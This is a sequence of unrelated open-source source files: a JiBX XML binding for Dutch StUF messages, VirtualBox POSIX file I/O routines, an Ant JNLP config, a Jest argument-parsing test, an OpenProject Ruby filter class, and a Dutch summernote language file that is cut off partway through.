map-as="AbstractGroep_BerichtResultaat_Bijhouding"/> </mapping> <mapping abstract="true" class="nl.bzk.brp.model.bericht.ber.basis.AbstractBerichtResultaatGroepBericht" type-name="AbstractGroep_BerichtResultaat_Bijhouding"> <value name="verwerkingCode" field="verwerking" enum-value-method="getCode"/> <value name="bijhoudingCode" nillable="true" field="bijhouding" usage="optional" enum-value-method="getCode"/> <value name="hoogsteMeldingsniveauCode" nillable="true" field="hoogsteMeldingsniveau" enum-value-method="getCode"/> <value style="attribute" name="entiteittype" ns="http://www.kinggemeenten.nl/StUF/StUF0302" constant="Resultaat"/> </mapping> <mapping class="java.util.List" abstract="true" type-name="Container_BerichtMeldingenResultaat" create-type="java.util.ArrayList"> <collection usage="optional"> <structure map-as="Objecttype_BerichtMeldingResultaat" name="melding" nillable="true" /> </collection> </mapping> <mapping class="nl.bzk.brp.model.bericht.ber.BerichtMeldingBericht" abstract="true" type-name="Objecttype_BerichtMeldingResultaat"> <structure map-as="AbstractBerichtMeldingBerichtResultaat" /> </mapping> <mapping class="nl.bzk.brp.model.bericht.ber.basis.AbstractBerichtMeldingBericht" abstract="true" type-name="AbstractBerichtMeldingBerichtResultaat"> <structure map-as="ObjectTypeIdentificeerbaar" /> <structure map-as="Objecttype_MeldingResultaat" field="melding" usage="optional" /> </mapping> <mapping class="nl.bzk.brp.model.bericht.ber.MeldingBericht" abstract="true" type-name="Objecttype_MeldingResultaat"> <structure map-as="AbstractMeldingBerichtResultaat" /> </mapping> <mapping class="nl.bzk.brp.model.bericht.ber.basis.AbstractMeldingBericht" abstract="true" type-name="AbstractMeldingBerichtResultaat"> <value name="entiteittype" constant="Melding" style="attribute" ns="http://www.kinggemeenten.nl/StUF/StUF0302"/> <structure map-as="ObjectTypeIdentificeerbaar" /> <value name="regelCode" field="regel" enum-value-method="getCode" /> <value name="soortCode" field="soort" enum-value-method="getCode"/> <structure name="melding" field="melding" map-as="Meldingtekst"/> <!--<structure map-as="LangeNaamEnumeratiewaarde" name="attribuutNaam" nillable="true" field="attribuutNaam" usage="optional" />--> </mapping> <!-- bolie --> <mapping class="nl.bzk.brp.model.basis.AbstractObjectTypeBericht" abstract="true" type-name="ObjectTypeIdentificeerbaarResultaat"> <namespace uri="http://www.kinggemeenten.nl/StUF/StUF0302" prefix="stuf" default="none" /> <value style="attribute" name="entiteittype" ns="http://www.kinggemeenten.nl/StUF/StUF0302" field="entiteitType" usage="optional" /> <value style="attribute" name="technischeSleutel" field="technischeSleutel" usage="optional" /> <value style="attribute" name="referentieID" field="referentieID" usage="optional" /> </mapping> <mapping class="java.util.List" abstract="true" type-name="Container_AdministratieveHandelingGedeblokkeerdeMeldingenResultaat" create-type="java.util.ArrayList"> <collection usage="optional"> <structure map-as="Objecttype_AdministratieveHandelingGedeblokkeerdeMeldingResultaat" name="gedeblokkeerdeMelding" nillable="true" /> </collection> </mapping> <mapping class="nl.bzk.brp.model.bericht.ber.AdministratieveHandelingGedeblokkeerdeMeldingBericht" abstract="true" type-name="Objecttype_AdministratieveHandelingGedeblokkeerdeMeldingResultaat"> <structure map-as="AbstractAdministratieveHandelingGedeblokkeerdeMeldingBerichtResultaat" /> </mapping> <mapping class="nl.bzk.brp.model.bericht.ber.basis.AbstractAdministratieveHandelingGedeblokkeerdeMeldingBericht" abstract="true" type-name="AbstractAdministratieveHandelingGedeblokkeerdeMeldingBerichtResultaat"> <structure map-as="Objecttype_GedeblokkeerdeMeldingResultaat" field="gedeblokkeerdeMelding" /> </mapping> <mapping class="nl.bzk.brp.model.bericht.ber.GedeblokkeerdeMeldingBericht" abstract="true" type-name="Objecttype_GedeblokkeerdeMeldingResultaat"> <structure map-as="AbstractGedeblokkeerdeMeldingBerichtResultaat" /> </mapping> <mapping class="nl.bzk.brp.model.bericht.ber.basis.AbstractGedeblokkeerdeMeldingBericht" abstract="true" type-name="AbstractGedeblokkeerdeMeldingBerichtResultaat"> <!-- bolie --> <value name="entiteittype" constant="GedeblokkeerdeMelding" style="attribute" ns="http://www.kinggemeenten.nl/StUF/StUF0302"/> <structure map-as="ObjectTypeIdentificeerbaarResultaat" /> <value name="regelCode" field="regel" enum-value-method="getCode"/> <structure map-as="Meldingtekst" name="melding" nillable="true" field="melding" usage="optional" /> <!--<structure map-as="LangeNaamEnumeratiewaarde" name="attribuutNaam" nillable="true" field="attribuut" usage="optional" />--> </mapping> <mapping class="java.util.List" abstract="true" type-name="Container_AdministratieveHandelingBijgehoudenPersonenResultaten" create-type="java.util.ArrayList"> <collection usage="optional"> <structure map-as="Objecttype_AdministratieveHandelingBijgehoudenPersoonResultaat" name="persoon" nillable="true" /> </collection> </mapping> <mapping class="nl.bzk.brp.model.bericht.ber.AdministratieveHandelingBijgehoudenPersoonBericht" abstract="true" type-name="Objecttype_AdministratieveHandelingBijgehoudenPersoonResultaat"> <structure map-as="AbstractAdministratieveHandelingBijgehoudenPersoonBerichtResultaat" /> </mapping> <mapping class="nl.bzk.brp.model.bericht.ber.basis.AbstractAdministratieveHandelingBijgehoudenPersoonBericht" abstract="true" type-name="AbstractAdministratieveHandelingBijgehoudenPersoonBerichtResultaat"> <structure map-as="BijgehoudenPersoon_BijhoudingResultaat" field="persoon" /> </mapping> <mapping class="nl.bzk.brp.model.bericht.kern.PersoonBericht" abstract="true" type-name="BijgehoudenPersoon_BijhoudingResultaat"> <value name="entiteittype" constant="Persoon" style="attribute" ns="http://www.kinggemeenten.nl/StUF/StUF0302"/> <structure map-as="AbstractBijgehoudenPersoon_BijhoudingResultaat" /> </mapping> <mapping type-name="AbstractBijgehoudenPersoon_BijhoudingResultaat" class="nl.bzk.brp.model.bericht.kern.basis.AbstractPersoonBericht" abstract="true" > <structure map-as="ObjectTypeIdentificeerbaar" /> <!-- bolie: niet de hele persoon, alleen de bsn. --> <structure map-as="Groep_PersoonIdentificatienummers" name="identificatienummers" nillable="true" field="identificatienummers" usage="optional" /> </mapping> </binding>
{ "pile_set_name": "Github" }
/* $Id: fileio-posix.cpp $ */ /** @file * IPRT - File I/O, POSIX, Part 1. */ /* * Copyright (C) 2006-2017 Oracle Corporation * * This file is part of VirtualBox Open Source Edition (OSE), as * available from http://www.virtualbox.org. This file is free software; * you can redistribute it and/or modify it under the terms of the GNU * General Public License (GPL) as published by the Free Software * Foundation, in version 2 as it comes in the "COPYING" file of the * VirtualBox OSE distribution. VirtualBox OSE is distributed in the * hope that it will be useful, but WITHOUT ANY WARRANTY of any kind. * * The contents of this file may alternatively be used under the terms * of the Common Development and Distribution License Version 1.0 * (CDDL) only, as it comes in the "COPYING.CDDL" file of the * VirtualBox OSE distribution, in which case the provisions of the * CDDL are applicable instead of those of the GPL. * * You may elect to license modified versions of this file under the * terms and conditions of either the GPL or the CDDL or both. */ /********************************************************************************************************************************* * Header Files * *********************************************************************************************************************************/ #define LOG_GROUP RTLOGGROUP_FILE #include <errno.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/ioctl.h> #include <fcntl.h> #ifdef _MSC_VER # include <io.h> # include <stdio.h> #else # include <unistd.h> # include <sys/time.h> #endif #ifdef RT_OS_LINUX # include <sys/file.h> #endif #if defined(RT_OS_OS2) && (!defined(__INNOTEK_LIBC__) || __INNOTEK_LIBC__ < 0x006) # include <io.h> #endif #if defined(RT_OS_DARWIN) || defined(RT_OS_FREEBSD) # include <sys/disk.h> #endif #ifdef RT_OS_SOLARIS # include <stropts.h> # include <sys/dkio.h> # include <sys/vtoc.h> #endif /* RT_OS_SOLARIS */ #include <iprt/file.h> #include <iprt/path.h> #include <iprt/assert.h> #include <iprt/string.h> #include <iprt/err.h> #include <iprt/log.h> #include "internal/file.h" #include "internal/fs.h" #include "internal/path.h" /********************************************************************************************************************************* * Defined Constants And Macros * *********************************************************************************************************************************/ /** Default file permissions for newly created files. */ #if defined(S_IRUSR) && defined(S_IWUSR) # define RT_FILE_PERMISSION (S_IRUSR | S_IWUSR) #else # define RT_FILE_PERMISSION (00600) #endif RTDECL(bool) RTFileExists(const char *pszPath) { bool fRc = false; char const *pszNativePath; int rc = rtPathToNative(&pszNativePath, pszPath, NULL); if (RT_SUCCESS(rc)) { struct stat s; fRc = !stat(pszNativePath, &s) && S_ISREG(s.st_mode); rtPathFreeNative(pszNativePath, pszPath); } LogFlow(("RTFileExists(%p={%s}): returns %RTbool\n", pszPath, pszPath, fRc)); return fRc; } RTR3DECL(int) RTFileOpen(PRTFILE pFile, const char *pszFilename, uint64_t fOpen) { /* * Validate input. */ AssertPtrReturn(pFile, VERR_INVALID_POINTER); *pFile = NIL_RTFILE; AssertPtrReturn(pszFilename, VERR_INVALID_POINTER); /* * Merge forced open flags and validate them. */ int rc = rtFileRecalcAndValidateFlags(&fOpen); if (RT_FAILURE(rc)) return rc; #ifndef O_NONBLOCK if (fOpen & RTFILE_O_NON_BLOCK) { AssertMsgFailed(("Invalid parameters! fOpen=%#llx\n", fOpen)); return VERR_INVALID_PARAMETER; } #endif /* * Calculate open mode flags. */ int fOpenMode = 0; #ifdef O_BINARY fOpenMode |= O_BINARY; /* (pc) */ #endif #ifdef O_LARGEFILE fOpenMode |= O_LARGEFILE; /* (linux, solaris) */ #endif #ifdef O_NOINHERIT if (!(fOpen & RTFILE_O_INHERIT)) fOpenMode |= O_NOINHERIT; #endif #ifdef O_CLOEXEC static int s_fHave_O_CLOEXEC = 0; /* {-1,0,1}; since Linux 2.6.23 */ if (!(fOpen & RTFILE_O_INHERIT) && s_fHave_O_CLOEXEC >= 0) fOpenMode |= O_CLOEXEC; #endif #ifdef O_NONBLOCK if (fOpen & RTFILE_O_NON_BLOCK) fOpenMode |= O_NONBLOCK; #endif #ifdef O_SYNC if (fOpen & RTFILE_O_WRITE_THROUGH) fOpenMode |= O_SYNC; #endif #if defined(O_DIRECT) && defined(RT_OS_LINUX) /* O_DIRECT is mandatory to get async I/O working on Linux. */ if (fOpen & RTFILE_O_ASYNC_IO) fOpenMode |= O_DIRECT; #endif #if defined(O_DIRECT) && (defined(RT_OS_LINUX) || defined(RT_OS_FREEBSD) || defined(RT_OS_NETBSD)) /* Disable the kernel cache. */ if (fOpen & RTFILE_O_NO_CACHE) fOpenMode |= O_DIRECT; #endif /* create/truncate file */ switch (fOpen & RTFILE_O_ACTION_MASK) { case RTFILE_O_OPEN: break; case RTFILE_O_OPEN_CREATE: fOpenMode |= O_CREAT; break; case RTFILE_O_CREATE: fOpenMode |= O_CREAT | O_EXCL; break; case RTFILE_O_CREATE_REPLACE: fOpenMode |= O_CREAT | O_TRUNC; break; /** @todo replacing needs fixing, this is *not* a 1:1 mapping! */ } if (fOpen & RTFILE_O_TRUNCATE) fOpenMode |= O_TRUNC; switch (fOpen & RTFILE_O_ACCESS_MASK) { case RTFILE_O_READ: fOpenMode |= O_RDONLY; /* RTFILE_O_APPEND is ignored. */ break; case RTFILE_O_WRITE: fOpenMode |= fOpen & RTFILE_O_APPEND ? O_APPEND | O_WRONLY : O_WRONLY; break; case RTFILE_O_READWRITE: fOpenMode |= fOpen & RTFILE_O_APPEND ? O_APPEND | O_RDWR : O_RDWR; break; default: AssertMsgFailed(("RTFileOpen received an invalid RW value, fOpen=%#llx\n", fOpen)); return VERR_INVALID_PARAMETER; } /* File mode. */ int fMode = (fOpen & RTFILE_O_CREATE_MODE_MASK) ? (fOpen & RTFILE_O_CREATE_MODE_MASK) >> RTFILE_O_CREATE_MODE_SHIFT : RT_FILE_PERMISSION; /** @todo sharing! */ /* * Open/create the file. */ char const *pszNativeFilename; rc = rtPathToNative(&pszNativeFilename, pszFilename, NULL); if (RT_FAILURE(rc)) return (rc); int fh = open(pszNativeFilename, fOpenMode, fMode); int iErr = errno; #ifdef O_CLOEXEC if ( (fOpenMode & O_CLOEXEC) && s_fHave_O_CLOEXEC == 0) { if (fh < 0 && iErr == EINVAL) { s_fHave_O_CLOEXEC = -1; fh = open(pszNativeFilename, fOpenMode, fMode); iErr = errno; } else if (fh >= 0) s_fHave_O_CLOEXEC = fcntl(fh, F_GETFD, 0) > 0 ? 1 : -1; } #endif rtPathFreeNative(pszNativeFilename, pszFilename); if (fh >= 0) { iErr = 0; /* * Mark the file handle close on exec, unless inherit is specified. */ if ( !(fOpen & RTFILE_O_INHERIT) #ifdef O_NOINHERIT && !(fOpenMode & O_NOINHERIT) /* Take care since it might be a zero value dummy. */ #endif #ifdef O_CLOEXEC && s_fHave_O_CLOEXEC <= 0 #endif ) iErr = fcntl(fh, F_SETFD, FD_CLOEXEC) >= 0 ? 0 : errno; /* * Switch direct I/O on now if requested and required. */ #if defined(RT_OS_DARWIN) \ || (defined(RT_OS_SOLARIS) && !defined(IN_GUEST)) if (iErr == 0 && (fOpen & RTFILE_O_NO_CACHE)) { # if defined(RT_OS_DARWIN) iErr = fcntl(fh, F_NOCACHE, 1) >= 0 ? 0 : errno; # else iErr = directio(fh, DIRECTIO_ON) >= 0 ? 0 : errno; # endif } #endif /* * Implement / emulate file sharing. * * We need another mode which allows skipping this stuff completely * and do things the UNIX way. So for the present this is just a debug * aid that can be enabled by developers too lazy to test on Windows. */ #if 0 && defined(RT_OS_LINUX) if (iErr == 0) { /* This approach doesn't work because only knfsd checks for these buggers. :-( */ int iLockOp; switch (fOpen & RTFILE_O_DENY_MASK) { default: AssertFailed(); case RTFILE_O_DENY_NONE: case RTFILE_O_DENY_NOT_DELETE: iLockOp = LOCK_MAND | LOCK_READ | LOCK_WRITE; break; case RTFILE_O_DENY_READ: case RTFILE_O_DENY_READ | RTFILE_O_DENY_NOT_DELETE: iLockOp = LOCK_MAND | LOCK_WRITE; break; case RTFILE_O_DENY_WRITE: case RTFILE_O_DENY_WRITE | RTFILE_O_DENY_NOT_DELETE: iLockOp = LOCK_MAND | LOCK_READ; break; case RTFILE_O_DENY_WRITE | RTFILE_O_DENY_READ: case RTFILE_O_DENY_WRITE | RTFILE_O_DENY_READ | RTFILE_O_DENY_NOT_DELETE: iLockOp = LOCK_MAND; break; } iErr = flock(fh, iLockOp | LOCK_NB); if (iErr != 0) iErr = errno == EAGAIN ? ETXTBSY : 0; } #endif /* 0 && RT_OS_LINUX */ #if defined(DEBUG_bird) && !defined(RT_OS_SOLARIS) if (iErr == 0) { /* This emulation is incomplete but useful. */ switch (fOpen & RTFILE_O_DENY_MASK) { default: AssertFailed(); case RTFILE_O_DENY_NONE: case RTFILE_O_DENY_NOT_DELETE: case RTFILE_O_DENY_READ: case RTFILE_O_DENY_READ | RTFILE_O_DENY_NOT_DELETE: break; case RTFILE_O_DENY_WRITE: case RTFILE_O_DENY_WRITE | RTFILE_O_DENY_NOT_DELETE: case RTFILE_O_DENY_WRITE | RTFILE_O_DENY_READ: case RTFILE_O_DENY_WRITE | RTFILE_O_DENY_READ | RTFILE_O_DENY_NOT_DELETE: if (fOpen & RTFILE_O_WRITE) { iErr = flock(fh, LOCK_EX | LOCK_NB); if (iErr != 0) iErr = errno == EAGAIN ? ETXTBSY : 0; } break; } } #endif #ifdef RT_OS_SOLARIS /** @todo Use fshare_t and associates, it's a perfect match. see sys/fcntl.h */ #endif /* * We're done. */ if (iErr == 0) { *pFile = (RTFILE)(uintptr_t)fh; Assert((intptr_t)*pFile == fh); LogFlow(("RTFileOpen(%p:{%RTfile}, %p:{%s}, %#llx): returns %Rrc\n", pFile, *pFile, pszFilename, pszFilename, fOpen, rc)); return VINF_SUCCESS; } close(fh); } return RTErrConvertFromErrno(iErr); } RTR3DECL(int) RTFileOpenBitBucket(PRTFILE phFile, uint64_t fAccess) { AssertReturn( fAccess == RTFILE_O_READ || fAccess == RTFILE_O_WRITE || fAccess == RTFILE_O_READWRITE, VERR_INVALID_PARAMETER); return RTFileOpen(phFile, "/dev/null", fAccess | RTFILE_O_DENY_NONE | RTFILE_O_OPEN); } RTR3DECL(int) RTFileClose(RTFILE hFile) { if (hFile == NIL_RTFILE) return VINF_SUCCESS; if (close(RTFileToNative(hFile)) == 0) return VINF_SUCCESS; return RTErrConvertFromErrno(errno); } RTR3DECL(int) RTFileFromNative(PRTFILE pFile, RTHCINTPTR uNative) { AssertCompile(sizeof(uNative) == sizeof(*pFile)); if (uNative < 0) { AssertMsgFailed(("%p\n", uNative)); *pFile = NIL_RTFILE; return VERR_INVALID_HANDLE; } *pFile = (RTFILE)uNative; return VINF_SUCCESS; } RTR3DECL(RTHCINTPTR) RTFileToNative(RTFILE hFile) { AssertReturn(hFile != NIL_RTFILE, -1); return (intptr_t)hFile; } RTFILE rtFileGetStandard(RTHANDLESTD enmStdHandle) { int fd; switch (enmStdHandle) { case RTHANDLESTD_INPUT: fd = 0; break; case RTHANDLESTD_OUTPUT: fd = 1; break; case RTHANDLESTD_ERROR: fd = 2; break; default: AssertFailedReturn(NIL_RTFILE); } struct stat st; int rc = fstat(fd, &st); if (rc == -1) return NIL_RTFILE; return (RTFILE)(intptr_t)fd; } RTR3DECL(int) RTFileDelete(const char *pszFilename) { char const *pszNativeFilename; int rc = rtPathToNative(&pszNativeFilename, pszFilename, NULL); if (RT_SUCCESS(rc)) { if (unlink(pszNativeFilename) != 0) rc = RTErrConvertFromErrno(errno); rtPathFreeNative(pszNativeFilename, pszFilename); } return rc; } RTR3DECL(int) RTFileSeek(RTFILE hFile, int64_t offSeek, unsigned uMethod, uint64_t *poffActual) { static const unsigned aSeekRecode[] = { SEEK_SET, SEEK_CUR, SEEK_END, }; /* * Validate input. */ if (uMethod > RTFILE_SEEK_END) { AssertMsgFailed(("Invalid uMethod=%d\n", uMethod)); return VERR_INVALID_PARAMETER; } /* check that within off_t range. */ if ( sizeof(off_t) < sizeof(offSeek) && ( (offSeek > 0 && (unsigned)(offSeek >> 32) != 0) || (offSeek < 0 && (unsigned)(-offSeek >> 32) != 0))) { AssertMsgFailed(("64-bit search not supported\n")); return VERR_NOT_SUPPORTED; } off_t offCurrent = lseek(RTFileToNative(hFile), (off_t)offSeek, aSeekRecode[uMethod]); if (offCurrent != ~0) { if (poffActual) *poffActual = (uint64_t)offCurrent; return VINF_SUCCESS; } return RTErrConvertFromErrno(errno); } RTR3DECL(int) RTFileRead(RTFILE hFile, void *pvBuf, size_t cbToRead, size_t *pcbRead) { if (cbToRead <= 0) return VINF_SUCCESS; /* * Attempt read. */ ssize_t cbRead = read(RTFileToNative(hFile), pvBuf, cbToRead); if (cbRead >= 0) { if (pcbRead) /* caller can handle partial read. */ *pcbRead = cbRead; else { /* Caller expects all to be read. */ while ((ssize_t)cbToRead > cbRead) { ssize_t cbReadPart = read(RTFileToNative(hFile), (char*)pvBuf + cbRead, cbToRead - cbRead); if (cbReadPart <= 0) { if (cbReadPart == 0) return VERR_EOF; return RTErrConvertFromErrno(errno); } cbRead += cbReadPart; } } return VINF_SUCCESS; } return RTErrConvertFromErrno(errno); } RTR3DECL(int) RTFileWrite(RTFILE hFile, const void *pvBuf, size_t cbToWrite, size_t *pcbWritten) { if (cbToWrite <= 0) return VINF_SUCCESS; /* * Attempt write. */ ssize_t cbWritten = write(RTFileToNative(hFile), pvBuf, cbToWrite); if (cbWritten >= 0) { if (pcbWritten) /* caller can handle partial write. */ *pcbWritten = cbWritten; else { /* Caller expects all to be write. */ while ((ssize_t)cbToWrite > cbWritten) { ssize_t cbWrittenPart = write(RTFileToNative(hFile), (const char *)pvBuf + cbWritten, cbToWrite - cbWritten); if (cbWrittenPart <= 0) return RTErrConvertFromErrno(errno); cbWritten += cbWrittenPart; } } return VINF_SUCCESS; } return RTErrConvertFromErrno(errno); } RTR3DECL(int) RTFileSetSize(RTFILE hFile, uint64_t cbSize) { /* * Validate offset. */ if ( sizeof(off_t) < sizeof(cbSize) && (cbSize >> 32) != 0) { AssertMsgFailed(("64-bit filesize not supported! cbSize=%lld\n", cbSize)); return VERR_NOT_SUPPORTED; } #if defined(_MSC_VER) || (defined(RT_OS_OS2) && (!defined(__INNOTEK_LIBC__) || __INNOTEK_LIBC__ < 0x006)) if (chsize(RTFileToNative(hFile), (off_t)cbSize) == 0) #else /* This relies on a non-standard feature of FreeBSD, Linux, and OS/2 * LIBC v0.6 and higher. (SuS doesn't define ftruncate() and size bigger * than the file.) */ if (ftruncate(RTFileToNative(hFile), (off_t)cbSize) == 0) #endif return VINF_SUCCESS; return RTErrConvertFromErrno(errno); } RTR3DECL(int) RTFileGetSize(RTFILE hFile, uint64_t *pcbSize) { /* * Ask fstat() first. */ struct stat st; if (!fstat(RTFileToNative(hFile), &st)) { *pcbSize = st.st_size; if ( st.st_size != 0 #if defined(RT_OS_SOLARIS) || (!S_ISBLK(st.st_mode) && !S_ISCHR(st.st_mode)) #elif defined(RT_OS_FREEBSD) || defined(RT_OS_NETBSD) || !S_ISCHR(st.st_mode) #else || !S_ISBLK(st.st_mode) #endif ) return VINF_SUCCESS; /* * It could be a block device. Try determin the size by I/O control * query or seek. */ #ifdef RT_OS_DARWIN uint64_t cBlocks; if (!ioctl(RTFileToNative(hFile), DKIOCGETBLOCKCOUNT, &cBlocks)) { uint32_t cbBlock; if (!ioctl(RTFileToNative(hFile), DKIOCGETBLOCKSIZE, &cbBlock)) { *pcbSize = cBlocks * cbBlock; return VINF_SUCCESS; } } /* must be a block device, fail on failure. */ #elif defined(RT_OS_SOLARIS) struct dk_minfo MediaInfo; if (!ioctl(RTFileToNative(hFile), DKIOCGMEDIAINFO, &MediaInfo)) { *pcbSize = MediaInfo.dki_capacity * MediaInfo.dki_lbsize; return VINF_SUCCESS; } /* might not be a block device. */ if (errno == EINVAL || errno == ENOTTY) return VINF_SUCCESS; #elif defined(RT_OS_FREEBSD) off_t cbMedia = 0; if (!ioctl(RTFileToNative(hFile), DIOCGMEDIASIZE, &cbMedia)) { *pcbSize = cbMedia; return VINF_SUCCESS; } /* might not be a block device. */ if (errno == EINVAL || errno == ENOTTY) return VINF_SUCCESS; #else /* PORTME! Avoid this path when possible. */ uint64_t offSaved; int rc = RTFileSeek(hFile, 0, RTFILE_SEEK_CURRENT, &offSaved); if (RT_SUCCESS(rc)) { rc = RTFileSeek(hFile, 0, RTFILE_SEEK_END, pcbSize); int rc2 = RTFileSeek(hFile, offSaved, RTFILE_SEEK_BEGIN, NULL); if (RT_SUCCESS(rc)) return rc2; } #endif } return RTErrConvertFromErrno(errno); } RTR3DECL(int) RTFileGetMaxSizeEx(RTFILE hFile, PRTFOFF pcbMax) { /* * Save the current location */ uint64_t offOld; int rc = RTFileSeek(hFile, 0, RTFILE_SEEK_CURRENT, &offOld); if (RT_FAILURE(rc)) return rc; /* * Perform a binary search for the max file size. */ uint64_t offLow = 0; uint64_t offHigh = 8 * _1T; /* we don't need bigger files */ /** @todo Unfortunately this does not work for certain file system types, * for instance cifs mounts. Even worse, statvfs.f_fsid returns 0 for such * file systems. */ //uint64_t offHigh = INT64_MAX; for (;;) { uint64_t cbInterval = (offHigh - offLow) >> 1; if (cbInterval == 0) { if (pcbMax) *pcbMax = offLow; return RTFileSeek(hFile, offOld, RTFILE_SEEK_BEGIN, NULL); } rc = RTFileSeek(hFile, offLow + cbInterval, RTFILE_SEEK_BEGIN, NULL); if (RT_FAILURE(rc)) offHigh = offLow + cbInterval; else offLow = offLow + cbInterval; } } RTR3DECL(bool) RTFileIsValid(RTFILE hFile) { if (hFile != NIL_RTFILE) { int fFlags = fcntl(RTFileToNative(hFile), F_GETFD); if (fFlags >= 0) return true; } return false; } RTR3DECL(int) RTFileFlush(RTFILE hFile) { if (fsync(RTFileToNative(hFile))) return RTErrConvertFromErrno(errno); return VINF_SUCCESS; } RTR3DECL(int) RTFileIoCtl(RTFILE hFile, unsigned long ulRequest, void *pvData, unsigned cbData, int *piRet) { NOREF(cbData); int rc = ioctl(RTFileToNative(hFile), ulRequest, pvData); if (piRet) *piRet = rc; return rc >= 0 ? VINF_SUCCESS : RTErrConvertFromErrno(errno); } RTR3DECL(int) RTFileSetMode(RTFILE hFile, RTFMODE fMode) { /* * Normalize the mode and call the API. */ fMode = rtFsModeNormalize(fMode, NULL, 0); if (!rtFsModeIsValid(fMode)) return VERR_INVALID_PARAMETER; if (fchmod(RTFileToNative(hFile), fMode & RTFS_UNIX_MASK)) { int rc = RTErrConvertFromErrno(errno); Log(("RTFileSetMode(%RTfile,%RTfmode): returns %Rrc\n", hFile, fMode, rc)); return rc; } return VINF_SUCCESS; } RTDECL(int) RTFileSetOwner(RTFILE hFile, uint32_t uid, uint32_t gid) { uid_t uidNative = uid != NIL_RTUID ? (uid_t)uid : (uid_t)-1; AssertReturn(uid == uidNative, VERR_INVALID_PARAMETER); gid_t gidNative = gid != NIL_RTGID ? (gid_t)gid : (gid_t)-1; AssertReturn(gid == gidNative, VERR_INVALID_PARAMETER); if (fchown(RTFileToNative(hFile), uidNative, gidNative)) return RTErrConvertFromErrno(errno); return VINF_SUCCESS; } RTR3DECL(int) RTFileRename(const char *pszSrc, const char *pszDst, unsigned fRename) { /* * Validate input. */ AssertMsgReturn(VALID_PTR(pszSrc), ("%p\n", pszSrc), VERR_INVALID_POINTER); AssertMsgReturn(VALID_PTR(pszDst), ("%p\n", pszDst), VERR_INVALID_POINTER); AssertMsgReturn(*pszSrc, ("%p\n", pszSrc), VERR_INVALID_PARAMETER); AssertMsgReturn(*pszDst, ("%p\n", pszDst), VERR_INVALID_PARAMETER); AssertMsgReturn(!(fRename & ~RTPATHRENAME_FLAGS_REPLACE), ("%#x\n", fRename), VERR_INVALID_PARAMETER); /* * Take common cause with RTPathRename. */ int rc = rtPathPosixRename(pszSrc, pszDst, fRename, RTFS_TYPE_FILE); LogFlow(("RTDirRename(%p:{%s}, %p:{%s}, %#x): returns %Rrc\n", pszSrc, pszSrc, pszDst, pszDst, fRename, rc)); return rc; }
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="UTF-8"?> <project> <property name="jnlp.title" value="JST TreeChildIndent" /> <property name="jnlp.Name" value="TreeChildIndent" /> <property name="jnlp.name" value="treechildindent" /> <property name="jnlp.codebase" value="https://ateraimemo.com/swing/treechildindent/" /> <property name="jnlp.homepage" value="https://ateraimemo.com/Swing/TreeChildIndent.html" /> </project>
{ "pile_set_name": "Github" }
const parseArgs = require('./parseArgs'); describe('arg parsing', () => { test('sku exec', () => { const { script, argv, env } = parseArgs([ '/path/to/node', '/path/to/bin/sku', 'lint', '-e', 'test', ]); expect(script).toEqual('lint'); expect(argv).toEqual([]); expect(env).toEqual('test'); }); test('sku exec with args', () => { const { script, argv, env } = parseArgs([ '/path/to/node', '/path/to/bin/sku', 'lint', 'src/components/**', '-e', 'test', ]); expect(script).toEqual('lint'); expect(argv).toEqual(['src/components/**']); expect(env).toEqual('test'); }); test('debug', () => { expect( parseArgs(['/path/to/node', '/path/to/bin/sku', 'build']).debug, ).toBeUndefined(); expect( parseArgs(['/path/to/node', '/path/to/bin/sku', '-D', 'build']).debug, ).toBe(true); }); });
{ "pile_set_name": "Github" }
#-- encoding: UTF-8 #-- copyright # OpenProject is an open source project management software. # Copyright (C) 2012-2020 the OpenProject GmbH # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License version 3. # # OpenProject is a fork of ChiliProject, which is a fork of Redmine. The copyright follows: # Copyright (C) 2006-2017 Jean-Philippe Lang # Copyright (C) 2010-2013 the ChiliProject Team # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. # # See docs/COPYRIGHT.rdoc for more details. #++ class Queries::Versions::Filters::VersionFilter < Queries::Filters::Base self.model = Version def human_name Version.human_attribute_name(name) end end
{ "pile_set_name": "Github" }
(function ($) { $.extend($.summernote.lang, { 'nl-NL': { font: { bold: 'Vet', italic: 'Cursief', underline: 'Onderstrepen', clear: 'Stijl verwijderen', height: 'Regelhoogte', name: 'Lettertype', strikethrough: 'Doorhalen', size: 'Tekstgrootte' }, image: { image: 'Afbeelding', insert: 'Afbeelding invoegen', resizeFull: 'Volledige breedte', resizeHalf: 'Halve breedte', resizeQuarter: 'Kwart breedte', floatLeft: 'Links uitlijnen', floatRight: 'Rechts uitlijnen', floatNone: 'Geen uitlijning', dragImageHere: 'Sleep hier een afbeelding naar toe', selectFromFiles: 'Selecteer een bestand', url: 'URL van de afbeelding', remove: 'Verwijder afbeelding' }, video: { video: 'Video', videoLink: 'Video link', insert: 'Video invoegen', url: 'URL van de video', providers: '(YouTube, Vimeo, Vine, Instagram, DailyMotion of Youku)' }, link: { link: 'Link', insert: 'Link invoegen', unlink: 'Link verwijderen', edit: 'Wijzigen', textToDisplay: 'Tekst van link', url: 'Naar welke URL moet deze link verwijzen?', openInNewWindow: 'Open in nieuw venster' }, table: { table: 'Tabel' }, hr: { insert: 'Horizontale lijn invoegen' }, style: { style: 'Stijl', p: 'Normaal', blockquote: 'Quote', pre: 'Code', h1: 'Kop 1', h2: 'Kop 2', h3: 'Kop 3', h4: 'Kop 4', h5: 'Kop 5', h6: 'Kop 6' }, lists: { unordered: 'Ongeordende lijst', ordered: 'Geordende lijst' }, options: { help: 'Help', fullscreen: 'Volledig scherm', codeview: 'Bekijk Code' }, paragraph: { paragraph: 'Paragraaf', outdent: 'Inspringen verkleinen', indent: 'Inspringen vergroten', left: 'Links uitlijnen', center: 'Centreren', right: 'Rechts uitlijnen', justify: 'Uitvullen' }, color: { recent: 'Recente kleur', more: 'Meer kleuren', background: 'Achtergrond kleur', foreground: 'Tekst kleur', transparent: 'Transparant', setTransparent: 'Transparant', reset: 'Standaard', resetToDefault: 'Standaard kleur' }, shortcut: { 